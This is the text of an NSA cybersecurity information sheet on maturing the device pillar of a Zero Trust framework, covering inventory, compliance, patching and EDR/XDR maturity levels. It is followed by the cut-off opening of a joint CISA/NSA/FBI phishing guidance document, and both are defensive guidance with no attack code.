sufficient to defend +the nation from cyber threats. The government can no longer depend only on traditional +strategies and defenses to protect critical systems and data. [1] +A modernized cybersecurity framework +Zero Trust +integrates visibility from multiple +vantage points, makes risk-aware access decisions, and automates detection and +response. Implementing this framework places network defenders in a better position to +secure sensitive data, systems, applications, and services. [2] +This cybersecurity information sheet (CSI) provides recommendations for maturing +devices +the Zero Trust device pillar +to effectively ensure all devices seeking access +earn trust based on device metadata and continual checks to determine if the device +meets the organization +s minimum bar for access. The primary capabilities of the device +pillar are: +identification, inventory, and authentication +detection of unknown devices and configuration compliance checks of known +ones +device authorization using real time inspections +remote access protections +hardware updates and software patches +device management capabilities +endpoint detection and response for threat detection and mitigation +This CSI further discusses how these capabilities integrate into a comprehensive Zero +Trust (ZT) framework, as described in Embracing a Zero Trust Security Model. [2] +National Security System (NSS), Department of Defense (DoD), and Defense Industrial +Base (DIB) owners and operators should use this and complementary guidance to +understand how to take concrete steps for maturing device security by implementing the +outlined capabilities. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Contents +Executive summary ......................................................................................................... 1 +Introduction ..................................................................................................................... 3 +Audience ......................................................................................................................... 4 +Background ..................................................................................................................... 4 +Device pillar ..................................................................................................................... 5 +Device inventory .......................................................................................................... 7 +Device detection and compliance ................................................................................ 8 +Device authorization with real time inspection ........................................................... 10 +Remote access protection ......................................................................................... 10 +Automated vulnerability and patch management ....................................................... 12 +Centralized device management ............................................................................... 13 +Endpoint threat detection and response .................................................................... 14 +Summary of guidance ................................................................................................... 16 +Further guidance ........................................................................................................... 17 +Works cited ................................................................................................................... 17 +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Introduction +Cybersecurity threats are increasing and can originate from a variety of sources + from +nation-state actors conducting organized campaigns to individual malicious actors +seeking an easy payday. To better secure networks from these threats, networks need +to transition from traditional defenses to a Zero Trust (ZT) framework. The ZT security +model is best illustrated as seven pillars that together comprise the complete +cybersecurity posture. The seven pillars are: User, Device, Network & Environment, +Application & Workload, Data, Automation & Orchestration, and Visibility & Analytics. +Each pillar requires certain criteria and objectives to achieve ZT enactment. +This cybersecurity information sheet (CSI) focuses on the device pillar and includes +recommendations for reaching increasing maturity levels of device pillar capabilities. +Having the ability to identify, authenticate, inventory, authorize, isolate, secure, +remediate, and control all devices is essential in a ZT approach. Understanding the +health and status of devices informs risk decisions, with real time compliance +inspections, continuous risk assessments, and automated remediation informing every +access request. [3] +In addition to the more common high-level threats to operating systems and application +software, ZT capabilities must defend systems from persistent and hard-to-detect +threats against devices. Past examples of low-level, persistent threats include: +LoJax boot rootkit [4] +MosiacRegressor firmware implant [5] +UEFI Secure Boot bypasses BootHole [6] and BlackLotus [7] +Side channel vulnerabilities such as Spectre, Meltdown, Fallout, ZombieLoad, +NetSpectre, Downfall, and Inception +SSD over-provisioning malware [8] +This ZT device pillar CSI prescribes mechanisms to shield devices from low-level, +persistent threats over their entire lifecycle. Adoption of a ZT mindset enables +organizations to never assume devices within an established environment are secure or +that actors cannot hide from defenses in the OS or applications by delving into +hardware and firmware. Implementing mature ZT device pillar capabilities enables +organizations to assess devices and respond to risks to critical resources in the +environment. +For further background on the ZT concept, refer to Embracing a Zero Trust Security +Model. [2] For details on user pillar maturation, refer to Advancing Zero Trust Maturity +Throughout the User Pillar. [9] +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Audience +This CSI provides guidance primarily intended for NSS, DoD, and the DIB, but may be +useful for owners and operators of other systems that might be targeted by +sophisticated malicious actors. Guidance for system owners and operators is also +available via the National Institute of Standards and Technology (NIST), [10] and the +Cybersecurity and Infrastructure Security Agency (CISA). [11] This guidance +incorporates the DoD ZT guidance [12] referenced at the end of this document. +Background +The President +s Executive Order on Improving the Nation +s Cybersecurity (EO 14028) +and National Security Memorandum 8 (NSM-8) direct the Federal Civilian Executive +Branch (FCEB) agencies and NSS owners and operators to develop and implement +plans to adopt a ZT cybersecurity framework. [1] [13] ZT implementation efforts are +intended to continually mature cybersecurity protections, responses, and operations +over time. Progression of capabilities in each of the seven pillars should be seen as a +cycle of continuous improvement based on evaluation and monitoring of threats. [2] +Figure 1 depicts the ZT pillars, including the device pillar. The capabilities and +milestones for the device pillar component of the ZT maturity model are described in +detail throughout this document. Even though they are depicted separately, it is +Figure 1: Description of the seven pillars of Zero Trust +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +important to note that the pillars are not independent; many capabilities in the device +pillar depend on or align with capabilities in other pillars, as indicated. +Identity and authentication are based on the user pillar. Devices hosting users are +authenticated and authorized to connect to the requested resources based on device +attributes. Infrastructure devices are identified and authorized in support of +management activities aimed at discovering and responding to threats. Dynamic +authentication and authorization decisions are strictly enforced before access is +allowed. Recommendations on device connection protocols are included in the network +and environment, data, and visibility and analytics pillars. Authentication and remote +access are based on the network environment pillar. +Endpoint detection & response (EDR) and extended detection & response (XDR) tools +integrate with both the visibility & analytics and the automation & orchestration pillars. +EDR/XDR tools enable system administrators to identify, detect, and respond to threats +that may be pervasive or present in the environment. Additionally, these security +platforms support the necessary analytics that assist with achieving a greater +understanding of the performance, behavior, and activities required to improve detection +of anomalous behavior to make real time changes in security policies and access +decisions. +Device pillar +The device pillar is a foundational component of ZT to ensure devices within an +environment, and devices connected to or attempting to connect to resources, are +located, enumerated, authenticated, and assessed. Devices are subsequently permitted +or denied access + based on a dynamic risk calculation + to specific objects or data. A +device is only authorized access if it is +compliant + (meets the environment +s security +conditions specified by policy). Devices determined to be non-compliant may be denied +access or granted limited access. +Each of the following key device pillar capabilities has associated maturity levels: +Device Inventory: Creating device inventory management systems and +maintaining real time device inventories. Maintaining a trusted inventory list by +enrolling all devices authorized to access the network once they are properly +evaluated enables establishing a deny-by-default access policy for devices. +Device Detection and Compliance: Detecting devices as they connect to the +network and ensuring compliance with device policies specific to the device +function and current risk posture. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Device Authorization with Real Time Inspection: Establishing and utilizing +policies to deny devices access to digital resources by default and explicitly +allowing access based on compliance, function, and measured risk. Continuous +monitoring and behavior analysis enables faster remediation of a broader class +of security threats. +Remote Access Protection: Creating policies to allow authenticated and +authorized users and devices to access resources from remote locations. +Automated Vulnerability and Patch Management: Identifying the hardware, +firmware, and software versions along with their patch levels on devices, +correlating them with support information and known vulnerabilities, and +upgrading and patching the systems to minimize known risks. +Centralized Device Management: Establishing tooling to manage, secure, and +deploy security configurations and applications for computers and mobile +devices. In particular, remotely managing and enforcing security policies on +organization issued devices. +Endpoint Threat Detection and Response: Implementing tooling to monitor, +detect, and remediate malicious activity on devices, integrating with network-wide +visibility and defense orchestration capabilities. +As capabilities mature and additional capabilities are deployed, enterprises advance +through basic, intermediate, and advanced maturity phases and are more able to +operate according to ZT principles. +Figure 2: Zero Trust device pillar maturity +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Device inventory +Knowing what is in an organization +s environment is a foundation to establishing trust in +the environment. A device inventory lists what devices are known and expected in the +environment. The device inventory can then be used as the basis for starting to +establish trust in a device. +A device inventory must capture device existence, usage, and risks. All devices that +communicate in an environment require a unique identity and authentication as nonperson entities (NPE). Device usage can vary + examples include devices leveraging +session access protocols, resource devices hosting or providing network for +applications, or devices running embedded services. Enterprises must understand their +use of devices and that there is a difference in the way these devices present +cybersecurity risks. +The first step to securing the device pillar in a +deny all + by default environment is done +by establishing a complete inventory of registered devices that are allowed to access +enterprise resources. In some cases, inventory solutions can collect hardware and +software information, including versions, patch levels, and installed applications, which +are important in establishing security baselines, application allowlisting, and situational +awareness across all inventoried devices. Dynamic inventories may include both +managed and unmanaged devices that have been granted authorized access to +enterprise resources. As maturity increases, dynamic inventories are updated in real +time. +Devices may be added or removed from an inventory over time. The action of modifying +an inventory requires establishing enterprise policies governing: +Procurement: Identify criteria governing device purchases. Device Authorization + discussed later in this document + may involve the need for specific Trusted +Platform Module (TPM) certificates, firmware configuration, or component part +revisions. Vendors may list multiple variants or configurations of the same +device, but only some may have the necessary components and capabilities. +Acceptance Testing: NIST SP 800-161 calls for enterprises to adopt +acceptance testing as a mechanism to audit supply chain integrity. Software Bill +of Materials (SBOM), Reference Integrity Manifest (RIM), and TPM Platform +Certificate provide artifacts that establish an auditable chain of custody from the +production factory to the receiving organization. [14] +Deprovisioning: Devices may store protected data within components other +than the storage drive. Plan to securely erase storage media, factory reset +firmware, securely erase TPM NVRAM memory, reset Baseboard Management +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Controller (BMC) configurations, remove UEFI Secure Boot modifications, and +clean up other organization-specific customizations before retiring a device. +Inventory should support status records necessary to ensure safe and secure +deprovisioning. +Table 1: Device inventory maturity +Preparation +Basic +Intermediate +Advanced +Organizations +create an +inventory of +existing known +devices. The +inventory is +primarily manual +and may be +based on multiple +partial inventories +from disparate +systems. +Organizations +have a complete +list of devices in +separate +inventories. +Planning for +machine +identification and +authentication +using NPE Public +Key Infrastructure +(PKI) certificates +has started. The +organization has +identified specific +capabilities that +must be present +on newly acquired +assets. +Organizations have +a complete list of +devices with +standardized device +attributes and +version information. +Machine +identification and +authentication using +NPE certificates and +deny all, allow by +exception + approach +is mostly +implemented. The +organization has +identified specific +make, model, and +revisions of devices +eligible for new +acquisitions. +Automation has +begun to maintain +the device list and +bring together +disparate +inventories. +Organizations have a +complete inventory of +all devices updated +in real time using +NPE certificates, +enabling only +approved devices to +be allowed with all +others denied by +default. An +organization +acceptance process +checks all newly +acquired devices and +a deprovisioning +process sanitizes all +devices retired from +use. +Device detection and compliance +Networks have many uses and are often intended to be dynamic and adjust to changing +uses. Devices entering or leaving the network is part of the expected changes to the +network, along with the state of devices changing. Detecting devices and their +compliance related to an expected baseline enables managing of the network +environment and deciding whether to grant access to devices. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Detection of devices within an environment is achieved through various protocols and +solutions. The organization must establish device connection policies that assess +device configurations and ensure devices comply with policies established per network +and organizational policy. Non-compliant devices represent an unacceptable risk to the +organization and should not have access to enterprise resources. For example, one +critical area that device configurations affect is the encryption settings a device will use +for its communications. In this example, non-compliant configurations could allow the +use of obsolete encryption, enabling malicious actors to hijack communications to steal +sensitive data, install malware, and other activities. Actions and policies for noncompliant or unknown devices must consider risk posture allowance including ensuring +logging, analytics, automated responses, and orchestration. +Organizations must periodically reevaluate compliance policies. Threats to devices may +necessitate changes to hardware configuration, firmware version, boot executables, or +other device properties over time. Some device vulnerability mitigations may impart a +performance impact that requires organizations to balance risk exposure and device +performance against organizational objectives. +Table 2: Device detection and compliance maturity +Preparation +Basic +Intermediate +Advanced +Organizations +employ asset +management +systems for user +devices to report +on compliance +with baseline +configurations. +Organizations use +asset +management +systems for +different types of +devices to report +compliance. +Compliance +violations should +be logged for later +remediation if +appropriate. +Organizations have +established a +minimum selection +of compliance +attributes and +acceptable values. +Organizations use +asset management +systems to track +device +configurations and +check for +compliance when +devices request to +connect to the +network, denying +access for noncompliance. +Organizations track +configurations on all +devices, check for +compliance +continuously, and +automatically +remediate noncompliance when +identified. When +remediation is not +feasible, the +organization uses +established, riskbased criteria +specific to the device +function and +capabilities in +determining whether +to allow access and +how much. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Device authorization with real time inspection +Managing a ZT architecture means actively checking that devices in the environment +should be trusted for access to critical resources. Authorizing those access requests +should be based on current checks that the devices should be trusted for access +just based on a history of being granted access previously. +Making proper authorization decisions requires the most up-to-date information on +which to assess the risk of granting access to data or resources, using information from +the Device Detection and Compliance capability combined with real time inspection of +additional compliance information as needed. For example, real time inspection may +compare current device properties against those from the recorded inventory, examine +the device +s current patch status, or look for unexpected credentials or applications on +the device. Authorization with real time inspection provides continual status updates of a +device and its behavior to the decision points making the access decisions. +Organizations should establish continual authentication policies to ensure reauthentication of devices when new data or resource accesses are initiated. Each +device must be associated with both its current and expected state. +Table 3: Device authorization with real time inspection maturity +Preparation +Basic +Intermediate +Advanced +None at this level. +Organizations +provision devices +with a unique +identifier and are +individually +authorized. +Organizations use +device tooling (e.g., +NextGen AV, +Application Control, +File Integrity +Monitoring (FIM), +EDR) integration to +better understand +the risk posture of a +device. Access +decisions leverage +the risk posture and +account for device +integrity, +authentication, and +encryption. +Organizations +integrate device +activity data into risk +decisions as well for +real time risk +assessment of +device behavior. All +access requests are +continuously vetted +prior to allowing +access to any +enterprise or cloud +assets. +Remote access protection +When organizations allow remote and hybrid work environments, it is imperative that +they authenticate and monitor all internal and external devices that request access to +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +protected resources. Challenges organizations faced using the conventional +architecture was that the user +s credentials alone were treated as adequate to grant +access to network resources. In a mature ZT architecture, all devices, internal and +external, are continually authenticated and monitored. +In particular, organizations should assume a remote user +s environment is hostile and +that all traffic is being monitored and potentially modified by threat actors, so additional +scrutiny of those devices and their access requests is needed. If remote access is +authorized, cybersecurity policies, standards, and procedures should include specific +policy guidance for required device attributes. Creating a least privilege baseline is +critical and should be included for this activity. A thorough authentication, authorization, +risk assessment, and determination of acceptable risk must be conducted prior to +allowing remote access by all devices. +Organizations should audit existing device access processes and tooling to set a least +privilege baseline. Remote access requirements also cover basic bring your own device +(BYOD) and Internet of things (IoT) access. They should use the enterprise identity +provider (IdP) and only be granted access to approved applications and services when +using the acceptable set of device attributes. To accomplish this, BYOD domains may +be best governed according to ZT principles utilizing a mobile device management +(MDM) tool. Organizations with BYOD environments should look for MDM solutions with +separate enrollment policies for employees who want to use their personal devices. [15] +[16] +The following table shows remote access maturation from basic to advanced: +Table 4: Remote access protection maturity +Preparation +Basic +Intermediate +Advanced +None at this level. +Organizations +employ dynamic +access policies +with implicit +denials, explicit +approvals, and +centralized +management +solutions for all +remote devices. +Control device +access to +protected +Organizations use +centralized +management +systems to track +remote device +configurations and +check for +compliance when +devices request to +access resources. +All protected services +require dynamic +access decisions. +Automatically +remediate noncompliance when +identified. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +resources and +report compliance. +Automated vulnerability and patch management +Allowable devices must maintain security updates and patches, otherwise they add +significant known mitigatable risks to the network. Having known vulnerabilities does not +build trust in devices, instead it should decrease trust. A Z architecture should mitigate +risks as much as possible, especially known vulnerabilities that can be patched. A 2023 +patch management study found large companies manage at least 2,900 applications +across all devices, but more than half of them are not up to date with the latest patches. +[17] Automating vulnerability and patch management is critical to protecting resources +by defining a security baseline and denying access if this baseline is not met. Threat +actors constantly probe for known vulnerabilities +low-hanging fruit + that provide an +entry route into the targeted environment. Keeping firmware, software, and operating +systems up to date reduces the likelihood of being breached. Patches and updates +should be tested before implementation to ensure environment stability and that +applications continue to function. However, they should be prioritized and tested in a +timely manner so that devices are not left vulnerable longer than necessary. +This capability is a special case of the Device Detection and Compliance capability +combined with the Centralized Device Management capability to address critical known +vulnerabilities since they present a high risk to organizations + devices. In many cases, +centralized device management solutions can automate vulnerability identification +based on known versions and vulnerabilities and can deploy the necessary patches and +updates. +Organizations must maintain awareness of firmware patches below the software layer. +These patches may not be delivered via OS patch managers or other automated +patching solutions. Some patches may come from the system vendor, while others may +be specific to an individual component manufacturer (e.g., SSD firmware provided by +the storage vendor + not the system vendor). There are two general realms of devicespecific patches: +1. Fixed System firmware: System vendors collaborate with soldered component +vendors to deliver patches to customers. CPU microcode and NIC (network +interface card) firmware is usually shared by the device's manufacturer. +2. Component firmware: Most frequently applies to components with standardized +connectors such as storage drives or graphics processors. Individual component +vendors provide firmware updates for their specific products. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Table 5: Automated vulnerability and patch management maturity +Preparation +Basic +Intermediate +Advanced +Organizations +track +vulnerabilities +and apply +patches +manually. +Organizations use +automated feeds to +become aware of +patches. Patches +are manually tested +before deployment. +All unsupported +devices, including +any unsupported +hardware +components or +software are +identified with plans +for their upgrade or +retirement. +Organizations use +automated tests to +check patches for +reliability. Once +tests are complete, +patches are +manually approved +for automated +deployment to all +applicable devices +according to a +schedule intended +minimize exposure. +All unsupported +devices have been +removed from the +network. +Organizations use +automated feeds to +trigger patch download +and initial automated +testing, followed by +automated rollout +sequencing with +automated log and +performance analysis to +ensure reliability for +continued rollout. Any +devices that become +unsupported are +automatically flagged for +possible quarantine and +upgrade or removal. +Organizations also +leverage automated +asset acceptance testing +knowledge to carry out +component updates on +specific devices when +appropriate. +Manual or +automated (if +available) +processes to +maintain firmware +are instituted. +Centralized device management +Knowing that devices are configured securely and managed properly helps build trust in +them to then trust them with access to resources. Using centralized device +management tools allow the Information Technology team to manage, secure, and +deploy corporate resources and applications on any device from a single console. It +grants organizations the ability to centrally manage endpoint devices from a single +location. Additionally, it provides management with a single view of users that utilize +more than one device and assists with retrieving workplace analytics regarding them. +[18] It can also improve workplace productivity by continuously providing application and +content access to devices. These tools provide a method for organizations to manage +all devices from one central location, regardless of what platform they function in. These +centralized device management tools are often called Unified Endpoint Management +(UEM) solutions for traditional IT devices and Mobile Device Management (MDM) +solutions for mobile devices. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Table 6: Centralized device management maturity +Preparation +Basic +Intermediate +Advanced +None at this level. +Organizations +employ centralized +device +management +solutions to +confirm device +compliance status +for user devices +and report if a +device +compliance meets +minimum +standards. +Organizations have +started integrating +centralized device +management (both +UEM and MDM +solutions as +needed) with +inventory +capabilities for +automated, dynamic +inventory of devices +combined with +device management +for compliance. +Organizations check +the integrity of +devices by +collecting device +integrity values from +the TPM and similar +device integrity +mechanisms. +Organizations +inventory all devices +via an automated +management +solution for all +services. Security +vulnerabilities are +identified and +patched or mitigated +automatically by the +device management +solutions. Policy is +enforced through IT +remote management +of issued mobile +devices. Device +integrity values are +collected and +compared to +Software Bill of +Materials (SBOM) +and Records +Information +Management (RIM) +relevant to the +device. +Endpoint threat detection and response +Endpoint threat detection is an essential component of ZT for the device pillar since +malicious activity is assumed to be happening at any time. Devices are expected to +detect those activities and actively respond to them to contain any damage and +remediate the issue. Devices are not inherently trusted, so local threat detection +capabilities on the device are used as one capability to build trust that the device is +secure. Endpoint threat detection includes local malware prevention solutions, such as +antivirus protections, along with other solutions that detect malicious or anomalous +behaviors on the device. Combining threat detection with response options enables the +device to protect itself from malicious threats. Additionally, reporting of detections and +anomalies to centralized visibility and orchestration capabilities (discussed in later +pillars) enables awareness by network defenders and appropriate system or network- +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +wide responses to sophisticated threats. Endpoint threat detection and response often +utilizes abilities of Endpoint Detection and Response (EDR) or Extended Detection and +Response (XDR) products. +EDR capabilities build upon prior generation Endpoint Security Systems (ESS) by +enabling integration of endpoint knowledge with Security Information and Event +Management (SIEM) platforms, Security Orchestration, Automation, and Response +(SOAR) platforms, incident response activities, and other ZT concepts. XDR platforms +further increase visibility and detection of cross-device threats by enabling the +correlation of artifacts from endpoints that differ in design, location, or hardware. +Correlation of disparate endpoint and environment information is a key maturity +measurement associated with advanced ZT, and implementation of XDR will enable +organizations to account for activity beyond traditional endpoints. +XDR implementation activities are closely related to SIEM/SOAR capabilities within the +Visibility & Analytics and Automation & Orchestration ZT pillars and may include +features that support, enhance, or streamline the deployment of other ZT concepts. +Robust EDR/XDR deployment can also provide enhancements to: +Endpoint coverage (visibility & response) across differing device hardware and +software. +Standardization of management interfaces, logging formats, APIs, and endpoint +security software footprints. +Integration of EDR/XDR with activities that reside in other ZT pillars, such as +Visibility & Analytics, Automation & Orchestration, and Application & Workload, +and can have compounding effects on achieving higher maturity levels. +Other considerations for EDR/XDR implementation: +EDR platforms benefit from integration with Threat Intelligence and Threat +Reputation providers. Endpoint connectivity should be evaluated to the greatest +extent possible when assessing the performance of a solution stack. +Evaluation of a solution stack should take other ZT pillar capability requirements +into consideration since EDR/XDR will have direct correlation to the achievement +of other ZT pillar capabilities. +EDR/XDR solutions have varying levels of protection features that require +suitability evaluation for each environment. Ensure the solution provides +detection, response, or remediation that corresponds with incident response +activity requirements and expectations. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Table 7: Endpoint threat detection and response maturity +Preparation +Basic +Intermediate +Advanced +Organizations +utilize antimalware +solutions and +endpoint auditing +services to +support manual +remediation. +Organizations use +EDR solutions to +protect, monitor, and +respond to malicious +and anomalous +activities. +Organizations +prepare to integrate +Comply to Connect +(C2C) capabilities for +expanded device and +user checks prior to +allowing access. +NextGen AV tooling +covers maximum +number of +services/applications. +Organizations +utilize XDR +solutions to protect, +monitor, and +respond to +malicious and +anomalous +activities across +device types. +Integrations with +cross-pillar +capabilities have +been identified and +prioritized based on +risks. The riskiest +integration points +are identified and +integrated with +XDR. Basic alerting +sends analytics +from XDR stack to +the SIEM. +Organizations have +completed +integrating XDR +solutions at all +integration points, +expanding coverage +to fullest capacity. +Exceptions are +tracked and +managed using a +risk-based +methodical +approach. Extended +analytics enabling +ZT advanced +functionalities are +integrated into the +SIEM and other +appropriate +solutions. +Summary of guidance +The information presented here is not a standardized solution that fits all organizations, +but rather suggestions and considerations for implementing ZT concepts for devices. +Discovering and defining the organization +s mission and identifying the supporting +assets that need to be secured will help build a clearer picture of the as-is architecture +which can be compared against the recommendations in this pillar along with the other +ZT pillar CSIs. This comparison will help all stakeholders to identify organizational risks +and gaps and ultimately inform them on what a mature ZT architecture will look like for +their organization. Each organization will need to evaluate their individual requirements +to determine a suitable solution. The goal is to develop ZT roadmap strategies that align +with the organization +s ZT goals. The following guidance are the key ideas for +implementing the ZT device pillar: +Detect and identify devices within or connecting to the environment. +Authenticate, and continually re-authenticate, devices. +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +Use automated solutions to manage device configurations, vulnerabilities, and +patches. +Maintain a dynamic authorization list with policies and procedures in place for +denied devices. +Conduct risk-based assessments to determine access for all devices. +Enforce more stringent access policies for remote access due to the higher risk +environment. +Monitor endpoints for signs of threat activities, incorporating endpoint monitoring +and responses into network-wide security capabilities. +Further guidance +NSA is assisting DoD customers in piloting ZT architectures, coordinating activities with +existing NSS and DoD programs, and developing additional ZT guidance to support +system developers through the challenges of integrating ZT within NSS, DoD, and the +DIB environments. Upcoming additional guidance will help organize, guide, and simplify +incorporating ZT principles and designs into enterprise networks. +Works cited +The White House (2021), Executive Order 14028: Improving the Nation +s Cybersecurity. +https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-onimproving-the-nations-cybersecurity/ +[2] NSA (2021), Embracing a Zero Trust Security Model. https:// +https://media.defense.gov/2021/Feb/25/2002588479/-1/1/0/CSI_EMBRACING_ZT_SECURITY_MODEL_UOO115131-21.PDF +[3] DoD (2022), DoD Zero Trust Strategy. +https://dodcio.defense.gov/Portals/0/Documents/Library/DoD-ZTStrategy.pdf +[4] Ars Technica (2018), First UEFI malware discovered in wild is laptop security software hijacked +by Russians. https://arstechnica.com/information-technology/2018/10/first-uefi-malwarediscovered-in-wild-is-laptop-security-software-hijacked-by-russians/ +[5] Bleeping Computer (2020), MosaicRegressor: Second-ever UEFI rootkit found in the wild. +https://www.bleepingcomputer.com/news/security/mosaicregressor-second-ever-uefi-rootkitfound-in-the-wild/ +[6] Eclypsium (2020), There's a Hole in the Boot. https://eclypsium.com/blog/theres-a-hole-in-theboot/ +[7] ESET Research (2023), BlackLotus UEFI bootkit: Myth confirmed. +https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/ +[8] Tom's Hardware (2021), New Malware Uses SSD Over-Provisioning to Bypass Security +Measures. https://www.tomshardware.com/news/ssd-over-provisioning-vulnerability +[9] NSA (2023), Advancing Zero Trust Maturity Throughout the User Pillar. +https://media.defense.gov/2023/Mar/14/2003178390/-1/1/0/CSI_Zero_Trust_User_Pillar_v1.1.PDF +[10] NIST (2020), Special Publication 800-207: Zero Trust Architecture. +https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207.pdf +[11] Cybersecurity and Infrastructure Security Agency (2023), Zero Trust Maturity Model Version +2.0. https://www.cisa.gov/sites/default/files/2023-04/zero_trust_maturity_model_v2_508.pdf +[12] DoD (2022), Zero Trust Reference Architecture Version 2.0. +https://dodcio.defense.gov/Portals/0/Documents/Library/(U)ZT_RA_v2.0(U)_Sep22.pdf +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +NSA | Advancing Zero Trust Maturity Throughout the Device Pillar +[13] The White House (2022), National Security Memorandum 8: Improving the Cybersecurity of +National Security, Department of Defense, and Intelligence Community Systems. +https://www.whitehouse.gov/briefing-room/presidential-actions/2022/01/19/memorandum-onimproving-the-cybersecurity-of-national-security-department-of-defense-and-intelligencecommunity-systems/ +[14] NIST (2022), NIST Special Publication 800-161r1: Cybersecurity Supply Chain Risk +Management Practices for Systems and Organizations. +https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf +[15] NIST (2023), Special Publication 1800-22: Mobile Device Security: Bring Your Own Device +(BYOD). https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.1800-22.pdf +[16] NIST (2019), NISTIR 8228 Considerations for Managing Internet of Things (IoT) Cybersecurity +and Privacy Risks. https://nvlpubs.nist.gov/nistpubs/ir/2019/NIST.IR.8228.pdf +[17] Adaptiva (2023), 2023 Report: The State of Patch Management in the Digital Workplace. +https://adaptiva.com/resources/report/state-of-patch-management +[18] Computerworld (2021), What is UEM? Unified endpoint management explained. +https://www.computerworld.com/article/3625231/what-is-uem-unified-endpoint-managementexplained.html +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties or +guarantees. Reference herein to any specific commercial entity, product, process, or service by trade name, +trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or favoring by +the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. +Purpose +This document was developed in furtherance of the NSA +s cybersecurity mission, including its responsibilities to +identify and disseminate cyber threats to National Security Systems, Department of Defense, and the Defense +Industrial Base, and to develop and issue cybersecurity specifications and mitigations. This information may be +shared broadly to reach all appropriate stakeholders. +Contact +Cybersecurity Report Feedback: CybersecurityReports@nsa.gov +General Cybersecurity Inquiries or Customer Requests: Cybersecurity_Requests@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov +U/OO/214644-23 | PP-23-3606 | OCT 2023 Ver. 1.0 +TLP:CLEAR +PHISHING GUIDANCE: +STOPPING THE ATTACK +CYCLE AT PHASE ONE +Publication: October 2023 +Disclaimer: This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when +information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures +for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without +restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +TABLE OF CONTENTS +OVERVIEW....................................................................................3 +PHISHING TO OBTAIN LOGIN CREDENTIALS .............................4 +MALWARE-BASED PHISHING ......................................................5 +MITIGATIONS ...............................................................................5 +INCIDENT RESPONSE .............................................................. 11 +REPORTING .............................................................................. 12 +CISA SERVICES ......................................................................... 12 +RESOURCES ............................................................................. 13 +ACKNOWLEDGEMENTS ........................................................... 14 +DISCLAIMER ............................................................................. 14 +REFERENCES............................................................................ 14 +CISA | NSA | FBI | MS-ISAC +TLP:CLEAR +PHISHING GUIDANCE: STOPPING THE ATTACK CYCLE AT PHASE ONE +TLP:CLEAR +OVERVIEW +Social engineering is the attempt to trick someone into revealing +information (e.g., a password) or taking an action that can be +used to compromise systems or networks. Phishing is a form of +social engineering where malicious actors lure victims (typically +via email) to visit a malicious site or deceive them into providing +login credentials. Malicious actors primarily leverage phishing +for: +Obtaining login credentials. Malicious actors conduct +phishing campaigns to steal login credentials for initial +network access. +Malware deployment. Malicious actors commonly conduct +phishing campaigns to deploy malware for follow-on activity, +such as interrupting or damaging systems, escalating user +privileges, and maintaining persistence on compromised +systems. +The Cybersecurity and Infrastructure Security Agency (CISA), +National Security Agency (NSA), Federal Bureau of Investigation +(FBI), and Multi-State Information Sharing and Analysis Center +(MS-ISAC) are releasing this joint guide to outline phishing +techniques malicious actors commonly use and to provide +guidance for both network defenders and software +manufacturers. This will help to reduce the impact of phishing +attacks in obtaining credentials and deploying malware. +The guidance for network defenders is applicable to all +organizations but may not be feasible for organizations with +limited resources. Therefore, this guide includes a section of +tailored recommendations for small- and medium-sized +businesses that may not have the resources to hire IT staff +dedicated to a constant defense against phishing threats. +The guidance for software manufacturers focuses on secure-bydesign and -default tactics and techniques. Manufacturers +should develop and supply software that is secure against the +most prevalent phishing threats, thereby increasing the +cybersecurity posture of their customers. +CISA | NSA | 